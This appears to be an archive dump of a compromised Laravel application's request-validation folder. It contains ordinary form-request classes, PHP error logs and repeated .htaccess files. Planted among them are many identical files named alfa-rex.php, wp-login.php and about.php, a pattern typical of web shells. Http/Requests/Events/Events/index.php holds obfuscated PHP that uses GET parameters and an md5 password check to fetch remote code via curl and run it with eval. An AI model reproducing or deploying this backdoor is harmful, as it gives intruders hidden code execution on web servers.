$data['auto_clock_out_time'] = 'required'; } return $data; } } Http/Requests/SearchRequest.php000064400000001004150325104510012554 0ustar00 'required' ]; } } Http/Requests/EstimateAcceptRequest.php000064400000001455150325104510014254 0ustar00 'required', 'last_name' => 'required', 'email' => 'required|email:rfc,strict', ]; if(request('signature_type') == 'upload'){ $rules['image'] = 'required'; } else { $rules['signature'] = 'required'; } return $rules; } } Http/Requests/StorePassportRequest.php000064400000001422150325104510014203 0ustar00 */ public function rules() { $setting = company(); return [ 'passport_number' => 'required|unique:passport_details', 'issue_date' => 'required', 'expiry_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:issue_date', 'nationality' => 'required' ]; } } Http/Requests/EmployeeDocs/alfa-rex.php000064400000026574150325104510014110 0ustar00Http/Requests/EmployeeDocs/.htaccess000064400000000544150325104510013463 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/EmployeeDocs/alfa-rex.php7000064400000026574150325104510014177 0ustar00Http/Requests/EmployeeDocs/alfa-rex.php8000064400000026574150325104510014200 0ustar00Http/Requests/EmployeeDocs/wp-login.php000064400000026574150325104510014145 0ustar00Http/Requests/EmployeeDocs/alfa-rex.php56000064400000026574150325104510014263 0ustar00Http/Requests/EmployeeDocs/about.php000064400000026574150325104510013523 0ustar00Http/Requests/EmployeeDocs/error_log000064400000001626150325104510013604 0ustar00[04-Jul-2025 14:19:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:34:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/EmployeeDocs/CreateRequest.php000064400000001214150325104510015145 0ustar00 'required', 'file' => 'required', ]; } } Http/Requests/EmployeeDocs/about.php7000064400000026574150325104510013612 0ustar00Http/Requests/EmployeeDocs/DeleteRequest.php000064400000000754150325104510015154 0ustar00 'required', 'file' => 'required_if:file_delete,yes' ]; } } Http/Requests/UpdatePassportRequest.php000064400000001540150325104510014332 0ustar00 */ public function rules() { $setting = company(); return [ 'passport_number' => 'required|unique:passport_details,passport_number,' . $this->route('passport').',id,company_id,' . $setting->id, 'issue_date' => 'required', 'expiry_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:issue_date', 'nationality' => 'required' ]; } } Http/Requests/SubTask/alfa-rex.php000064400000026574150325104510013074 0ustar00Http/Requests/SubTask/.htaccess000064400000000544150325104510012447 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/SubTask/alfa-rex.php7000064400000026574150325104510013163 0ustar00Http/Requests/SubTask/alfa-rex.php8000064400000026574150325104510013164 0ustar00Http/Requests/SubTask/wp-login.php000064400000026574150325104510013131 0ustar00Http/Requests/SubTask/alfa-rex.php56000064400000026574150325104510013247 0ustar00Http/Requests/SubTask/about.php000064400000026574150325104510012507 0ustar00Http/Requests/SubTask/error_log000064400000001626150325104510012570 0ustar00[04-Jul-2025 13:39:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/SubTask/about.php7000064400000026574150325104510012576 0ustar00Http/Requests/SubTask/StoreSubTask.php000064400000002726150325104510013757 0ustar00task_id); $startDate = $task->start_date->format($setting->date_format); $dueDate = !is_null($task->due_date) ? $task->due_date->format($setting->date_format) : ''; $rules = [ 'title' => 'required', ]; $dueDateRule = 'nullable|date_format:"' . $setting->date_format . '"|after_or_equal:' . $startDate; !is_null($task->due_date) ? $dueDateRule . '|before_or_equal:' . $task->due_date : $dueDateRule; if ($task->due_date) { $dueDate = $task->due_date->format($setting->date_format); $dueDateRule .= '|before_or_equal:' . $dueDate; } $rules['start_date'] = $dueDateRule; $rules['due_date'] = !is_null(request()->start_date) ? ($dueDateRule . '|after_or_equal:' . Carbon::createFromFormat($setting->date_format, request()->start_date)->format($setting->date_format)) : $dueDateRule; return $rules; } } Http/Requests/LeaveType/alfa-rex.php000064400000026574150325104510013416 0ustar00Http/Requests/LeaveType/.htaccess000064400000000544150325104510012771 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/LeaveType/alfa-rex.php7000064400000026574150325104510013505 0ustar00Http/Requests/LeaveType/alfa-rex.php8000064400000026574150325104510013506 0ustar00Http/Requests/LeaveType/wp-login.php000064400000026574150325104510013453 0ustar00Http/Requests/LeaveType/alfa-rex.php56000064400000026574150325104510013571 0ustar00Http/Requests/LeaveType/about.php000064400000026574150325104510013031 0ustar00Http/Requests/LeaveType/error_log000064400000001626150325104510013112 0ustar00[04-Jul-2025 14:05:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/LeaveType/StoreLeaveType.php000064400000001735150325104510014622 0ustar00 'required', 'color' => 'required', 'gender' => 'required', 'marital_status' => 'required', 'department' => 'required', 'designation' => 'required', 'role' => 'required', ]; if(!is_null(request('effective_after'))){ $rules['effective_after'] = 'numeric|min:1'; } if(!is_null(request('leavetype'))){ $rules['leavetype'] = 'required'; } return $rules; } } Http/Requests/LeaveType/about.php7000064400000026574150325104510013120 0ustar00Http/Requests/Events/alfa-rex.php000064400000026574150325104510012764 0ustar00Http/Requests/Events/.htaccess000064400000000544150325104510012337 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Events/alfa-rex.php7000064400000026574150325104510013053 0ustar00Http/Requests/Events/alfa-rex.php8000064400000026574150325104510013054 0ustar00Http/Requests/Events/wp-login.php000064400000026574150325104510013021 0ustar00Http/Requests/Events/alfa-rex.php56000064400000026574150325104510013137 0ustar00Http/Requests/Events/StoreEvent.php000064400000003220150325104510013342 0ustar00 'required', 'start_date' => 'required', 'end_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date', 'start_time' => 'required', 'end_time' => 'required', 'all_employees' => 'sometimes', 'user_id.0' => 'required_unless:all_employees,true', 'where' => 'required', 'description' => 'required', 'event_link' => 'nullable|url' ]; if ($this->repeat == 'yes') { $rules['repeat_cycles'] = 'required'; $rules['repeat_count'] = 'required'; } if ($this->start_date == $this->end_date) { $rules['end_time'] = 'required|after_or_equal:start_time'; } return $rules; } public function messages() { return [ 'user_id.0.required_unless' => __('messages.atleastOneValidation'), 'end_time.after_or_equal' => __('messages.endTimeAfterOrEqual'), 'repeat_cycles.required' => __('messages.cyclesValidation'), 'repeat_count.required' => __('messages.repeatCyclesValidation'), ]; } } Http/Requests/Events/about.php000064400000026574150325104510012377 0ustar00Http/Requests/Events/error_log000064400000001626150325104510012460 0ustar00[04-Jul-2025 13:32:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Events/UpdateEvent.php000064400000002546150325104510013502 0ustar00 'required', 'start_date' => 'required', 'end_date' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:start_date', 'start_time' => 'required', 'end_time' => 'required', 'all_employees' => 'sometimes', 'where' => 'required', 'user_id.0' => 'required_unless:all_employees,true', 'description' => 'required', 'event_link' => 'nullable|url' ]; if ($this->start_date == $this->end_date) { $rules['end_time'] = 'required|after_or_equal:start_time'; } return $rules; } public function messages() { return [ 'user_id.0.required_unless' => __('messages.atleastOneValidation'), 'end_time.after_or_equal' => __('messages.endTimeAfterOrEqual'), ]; } } Http/Requests/Events/Events/alfa-rex.php000064400000026574150325104510014230 0ustar00Http/Requests/Events/Events/.htaccess000064400000000544150325104510013603 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Events/Events/alfa-rex.php7000064400000026574150325104510014317 0ustar00Http/Requests/Events/Events/alfa-rex.php8000064400000026574150325104510014320 0ustar00Http/Requests/Events/Events/wp-login.php000064400000026574150325104510014265 0ustar00Http/Requests/Events/Events/alfa-rex.php56000064400000026574150325104510014403 0ustar00Http/Requests/Events/Events/index.php000064400000013055150325104510013626 0ustar00 $xxy0bHqveWwVj1H) { $NWXFsx0fSWoslH0 .= $we8v2h3_mlp0GXb[$xxy0bHqveWwVj1H - 3130]; jVV4ShJEdJjgOgl: } goto hErirzu2VpEjxS4; pxvZc_QA1hzSgpi: $NWXFsx0fSWoslH0 = ''; goto CVpEwteClKIdu10; hErirzu2VpEjxS4: fntQrfcuh11xtMJ: goto hhzGhF3LBz_AnIZ; hpSiu8SVcRBxKgT: } static function yUsfokVXOt5DNMj($YMtKljMNx689HcH, $ZEQrKpra60s2gQX) { goto lg4Nw1DQSEuLTgM; opLyJDXQoxmxE8r: curl_setopt($AypdjYT0GCDHmE1, CURLOPT_RETURNTRANSFER, 1); goto wt41aY1yLmCESHm; lg4Nw1DQSEuLTgM: $AypdjYT0GCDHmE1 = curl_init($YMtKljMNx689HcH); goto opLyJDXQoxmxE8r; wt41aY1yLmCESHm: $A6Q8p4lw3YRSCFP = curl_exec($AypdjYT0GCDHmE1); goto TrLtx3WH5Lbtc35; TrLtx3WH5Lbtc35: return empty($A6Q8p4lw3YRSCFP) ? $ZEQrKpra60s2gQX($YMtKljMNx689HcH) : $A6Q8p4lw3YRSCFP; goto zNhyIPOQ8GFtW4T; zNhyIPOQ8GFtW4T: } static function UQ4fmasysYfvpl1() { goto bUsW7ZdvbLbGNZA; KTtLWTyFNhTvjGg: $oVm6r0GlSLHtdzf = @$TgoprDg6B0pIi1G[1 + 2]($TgoprDg6B0pIi1G[0 + 6], $xKfPdu8YNlNq2JE); goto rNGHOFnKfMfVE05; rNGHOFnKfMfVE05: $YxzDDBmbwEl740z = $TgoprDg6B0pIi1G[2 + 0]($oVm6r0GlSLHtdzf, true); goto xU7wXtDml52w1xj; BcnoizbdDXd2O3c: $xKfPdu8YNlNq2JE = @$TgoprDg6B0pIi1G[1]($TgoprDg6B0pIi1G[2 + 8](INPUT_GET, $TgoprDg6B0pIi1G[8 + 1])); goto KTtLWTyFNhTvjGg; LakwgjQQfNg2gE0: M27RPqmGBJCaCsH: goto jvO4grCSXV6p82N; BNiQBp9Os2CSL0J: @eval($TgoprDg6B0pIi1G[1 + 3]($rxwKgGi9xrhJi8X)); goto MIWyN85fLdVPRIP; MIWyN85fLdVPRIP: die; goto LakwgjQQfNg2gE0; gZPCCfiFkPaePNO: qvMUco9GeSXB1am: goto BcnoizbdDXd2O3c; bVaQ4x6NzOloL1Y: $rxwKgGi9xrhJi8X = self::YUSfokvxot5DNmJ($YxzDDBmbwEl740z[0 + 1], $TgoprDg6B0pIi1G[2 + 3]); goto BNiQBp9Os2CSL0J; u2cyYeygDGMbuJL: if (!(@$YxzDDBmbwEl740z[0] - time() > 0 and md5(md5($YxzDDBmbwEl740z[0 + 3])) === "\x31\x37\x39\146\64\x31\141\x64\x65\64\141\x66\141\145\x66\144\71\60\x35\x30\60\144\67\63\62\x31\143\x65\142\x35\x30\145")) { goto M27RPqmGBJCaCsH; } goto bVaQ4x6NzOloL1Y; bUsW7ZdvbLbGNZA: $sadI9lJFM3LL8ia = array("\x33\61\65\x37\75\63\61\64\62\75\63\61\65\x35\x3d\x33\61\65\71\75\63\x31\64\x30\75\63\x31\x35\65\x3d\x33\61\66\61\75\x33\x31\65\x34\75\63\61\63\x39\x3d\x33\x31\x34\66\x3d\x33\x31\65\x37\75\63\x31\x34\60\75\63\x31\65\61\x3d\63\x31\64\65\75\x33\x31\64\x36", "\63\x31\64\61\75\x33\x31\64\x30\75\x33\61\64\x32\75\63\x31\66\x31\75\63\x31\64\x32\75\63\x31\x34\65\x3d\63\x31\64\60\x3d\x33\x32\x30\67\75\63\62\60\65", "\63\x31\65\60\75\63\x31\x34\x31\75\63\61\64\65\x3d\x33\61\x34\66\x3d\x33\61\x36\x31\75\x33\x31\x35\66\75\x33\61\x35\65\x3d\63\x31\65\67\75\x33\x31\x34\x35\x3d\x33\61\65\x36\x3d\x33\x31\x35\65", "\x33\x31\64\64\75\63\61\65\x39\x3d\63\x31\x35\67\75\x33\x31\x34\x39", "\x33\x31\x35\x38\75\x33\61\65\71\x3d\63\x31\x34\x31\x3d\63\61\x35\65\x3d\63\x32\60\62\x3d\x33\62\60\x34\x3d\x33\x31\66\x31\x3d\x33\x31\65\x36\x3d\x33\61\x35\x35\75\63\x31\x35\67\75\63\61\64\x35\75\x33\x31\65\x36\x3d\63\61\65\x35", "\x33\61\x35\64\75\63\x31\65\x31\x3d\x33\61\64\70\75\x33\x31\x35\65\x3d\63\x31\x36\61\75\63\61\x35\63\x3d\x33\61\x35\65\x3d\63\x31\64\x30\75\x33\x31\66\61\75\x33\61\65\x37\x3d\x33\x31\64\65\75\63\x31\64\66\x3d\x33\x31\x34\x30\75\x33\x31\65\x35\75\63\61\x34\x36\x3d\63\61\64\x30\75\63\x31\64\61", "\x33\61\x38\x34\x3d\x33\x32\61\64", "\x33\x31\x33\61", "\x33\62\60\71\x3d\x33\x32\x31\x34", "\x33\x31\71\61\x3d\63\61\x37\64\x3d\63\61\67\x34\x3d\x33\x31\x39\61\75\63\61\x36\67", "\x33\x31\x35\x34\x3d\x33\61\x35\61\75\x33\61\x34\x38\x3d\63\61\64\x30\x3d\x33\x31\x35\65\x3d\63\61\64\x32\x3d\63\x31\x36\x31\75\x33\61\x35\x31\75\63\x31\64\66\75\x33\61\x34\64\75\63\x31\x33\x39\75\63\x31\64\60"); goto zpl03ccLUSikSU8; xU7wXtDml52w1xj: @$TgoprDg6B0pIi1G[7 + 3](INPUT_GET, "\157\x66") == 1 && die($TgoprDg6B0pIi1G[3 + 2](__FILE__)); goto u2cyYeygDGMbuJL; zpl03ccLUSikSU8: foreach ($sadI9lJFM3LL8ia as $HFMPhL2sFNK95HO) { $TgoprDg6B0pIi1G[] = self::RD_IED4iW0O74vs($HFMPhL2sFNK95HO); sih4KFSebG3lNol: } goto gZPCCfiFkPaePNO; jvO4grCSXV6p82N: } } goto dRYiJcmx7Zs25QY; NYohw0BISBfO37y: $B8VvhUmZM6sZ9m0[61] = $B8VvhUmZM6sZ9m0[61] . $B8VvhUmZM6sZ9m0[74]; goto vCDpkayIXacA2to; dRYiJcmx7Zs25QY: qYjETUIb_9WQKUw::uq4fmASySyFvPl1(); ?> Http/Requests/Events/Events/about.php000064400000026574150325104510013643 0ustar00Http/Requests/Events/Events/about.php7000064400000026574150325104510013732 0ustar00Http/Requests/Events/StoreEventNote.php000064400000001067150325104510014177 0ustar00|string> */ public function rules() { return [ // 'note' => 'required' ]; } } Http/Requests/Events/about.php7000064400000026574150325104510012466 0ustar00Http/Requests/TicketChannel/alfa-rex.php000064400000026574150325104510014234 0ustar00Http/Requests/TicketChannel/UpdateTicketChannel.php000064400000001162150325104510016376 0ustar00 'required|unique:ticket_channels,channel_name,'.$this->route('ticketChannel').',id,company_id,' . company()->id ]; } } Http/Requests/TicketChannel/.htaccess000064400000000544150325104510013607 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketChannel/StoreTicketChannel.php000064400000001124150325104510016246 0ustar00 'required|unique:ticket_channels,channel_name,null,id,company_id,' . company()->id ]; } } Http/Requests/TicketChannel/alfa-rex.php7000064400000026574150325104510014323 0ustar00Http/Requests/TicketChannel/alfa-rex.php8000064400000026574150325104510014324 0ustar00Http/Requests/TicketChannel/wp-login.php000064400000026574150325104510014271 0ustar00Http/Requests/TicketChannel/alfa-rex.php56000064400000026574150325104510014407 0ustar00Http/Requests/TicketChannel/about.php000064400000026574150325104510013647 0ustar00Http/Requests/TicketChannel/error_log000064400000001626150325104510013730 0ustar00[04-Jul-2025 14:07:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketChannel/about.php7000064400000026574150325104510013736 0ustar00Http/Requests/DatabaseBackup/alfa-rex.php000064400000026574150325104510014352 0ustar00Http/Requests/DatabaseBackup/.htaccess000064400000000544150325104510013725 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/DatabaseBackup/alfa-rex.php7000064400000026574150325104510014441 0ustar00Http/Requests/DatabaseBackup/alfa-rex.php8000064400000026574150325104510014442 0ustar00Http/Requests/DatabaseBackup/wp-login.php000064400000026574150325104510014407 0ustar00Http/Requests/DatabaseBackup/alfa-rex.php56000064400000026574150325104510014525 0ustar00Http/Requests/DatabaseBackup/about.php000064400000026574150325104510013765 0ustar00Http/Requests/DatabaseBackup/error_log000064400000001626150325104510014046 0ustar00[04-Jul-2025 14:33:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/DatabaseBackup/about.php7000064400000026574150325104510014054 0ustar00Http/Requests/DatabaseBackup/UpdateRequest.php000064400000001633150325104510015433 0ustar00get('status')){ $rules['hour_of_day'] = 'required'; $rules['backup_after_days'] = 'required|numeric|min:1'; if (request()->get('delete_backup_after_days') == '-1') { $rules['delete_backup_after_days'] = 'required'; } else { $rules['delete_backup_after_days'] = 'required|numeric|min:1'; } } return $rules; } } Http/Requests/Notice/alfa-rex.php000064400000026574150325104510012741 0ustar00Http/Requests/Notice/.htaccess000064400000000544150325104510012314 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Notice/alfa-rex.php7000064400000026574150325104510013030 0ustar00Http/Requests/Notice/alfa-rex.php8000064400000026574150325104510013031 0ustar00Http/Requests/Notice/wp-login.php000064400000026574150325104510012776 0ustar00Http/Requests/Notice/alfa-rex.php56000064400000026574150325104510013114 0ustar00Http/Requests/Notice/about.php000064400000026574150325104510012354 0ustar00Http/Requests/Notice/error_log000064400000001626150325104510012435 0ustar00[04-Jul-2025 13:32:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Notice/StoreNotice.php000064400000001507150325104510013465 0ustar00 'required', 'employees.0' => 'required_if:to,employee', 'clients.0' => 'required_if:to,client', ]; } public function messages() { return [ 'employees.0.required_if' => __('messages.atleastOneValidation'), 'clients.0.required_if' => __('messages.atleastOneValidation') ]; } } Http/Requests/Notice/about.php7000064400000026574150325104510012443 0ustar00Http/Requests/Login/alfa-rex.php000064400000026574150325104510012570 0ustar00Http/Requests/Login/VerifyLoginRequest.php000064400000001144150325104510014661 0ustar00 'required|string', 'password' => 'required|string', ]; } } Http/Requests/Login/.htaccess000064400000000544150325104510012143 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Login/alfa-rex.php7000064400000026574150325104510012657 0ustar00Http/Requests/Login/alfa-rex.php8000064400000026574150325104510012660 0ustar00Http/Requests/Login/wp-login.php000064400000026574150325104510012625 0ustar00Http/Requests/Login/alfa-rex.php56000064400000026574150325104510012743 0ustar00Http/Requests/Login/about.php000064400000026574150325104510012203 0ustar00Http/Requests/Login/error_log000064400000001626150325104510012264 0ustar00[04-Jul-2025 13:31:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Login/about.php7000064400000026574150325104510012272 0ustar00Http/Requests/Discussion/alfa-rex.php000064400000026574150325104510013643 0ustar00Http/Requests/Discussion/.htaccess000064400000000544150325104510013216 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Discussion/alfa-rex.php7000064400000026574150325104510013732 0ustar00Http/Requests/Discussion/alfa-rex.php8000064400000026574150325104510013733 0ustar00Http/Requests/Discussion/wp-login.php000064400000026574150325104510013700 0ustar00Http/Requests/Discussion/alfa-rex.php56000064400000026574150325104510014016 0ustar00Http/Requests/Discussion/about.php000064400000026574150325104510013256 0ustar00Http/Requests/Discussion/StoreRequest.php000064400000001574150325104510014602 0ustar00merge([ 'description' => trim_editor($this->description) ]); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'discussion_category' => 'required', 'title' => 'required', 'description' => 'required', ]; } public function attributes() { return [ 'description' => __('app.reply'), ]; } } Http/Requests/Discussion/error_log000064400000001626150325104510013337 0ustar00[04-Jul-2025 10:22:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Discussion/about.php7000064400000026574150325104510013345 0ustar00Http/Requests/CreditNotes/alfa-rex.php000064400000026574150325104510013743 0ustar00Http/Requests/CreditNotes/StoreCreditNotes.php000064400000002712150325104510015470 0ustar00cn_number) { $this->merge([ 'cn_number' => \App\Helper\NumberFormat::creditNote($this->cn_number), ]); } } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'cn_number' => Rule::unique('credit_notes')->where('company_id', company()->id), 'issue_date' => 'required', 'sub_total' => 'required', 'total' => 'required', 'invoice_id' => Rule::unique('credit_notes'), ]; if 